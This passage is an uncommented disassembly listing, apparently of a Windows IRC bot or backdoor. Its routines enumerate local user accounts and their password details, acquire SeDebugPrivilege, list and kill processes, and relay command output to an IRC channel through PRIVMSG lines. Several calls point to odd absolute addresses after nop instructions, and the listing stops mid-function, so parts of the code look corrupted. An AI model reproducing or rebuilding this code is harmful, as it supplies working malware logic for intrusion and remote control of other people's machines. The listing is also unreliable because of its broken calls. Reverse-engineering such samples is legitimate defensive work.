loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 27204F0h nop push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] call near ptr 2670822h nop mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 283105Dh test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2710B5Eh test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi nop call near ptr 2710B5Eh test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 269039Ch mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi call near ptr 2710B5Eh nop test eax, eax jnz short loc_4199FB push esi xor edi, edi nop call near ptr 2670822h loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 2765E3E8h, 0E3EB9002h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC call near ptr 2700000h nop test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 2690000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 call near ptr 2831914h nop test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 call near ptr 283140Ch nop test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 2690000h jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 2710000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; 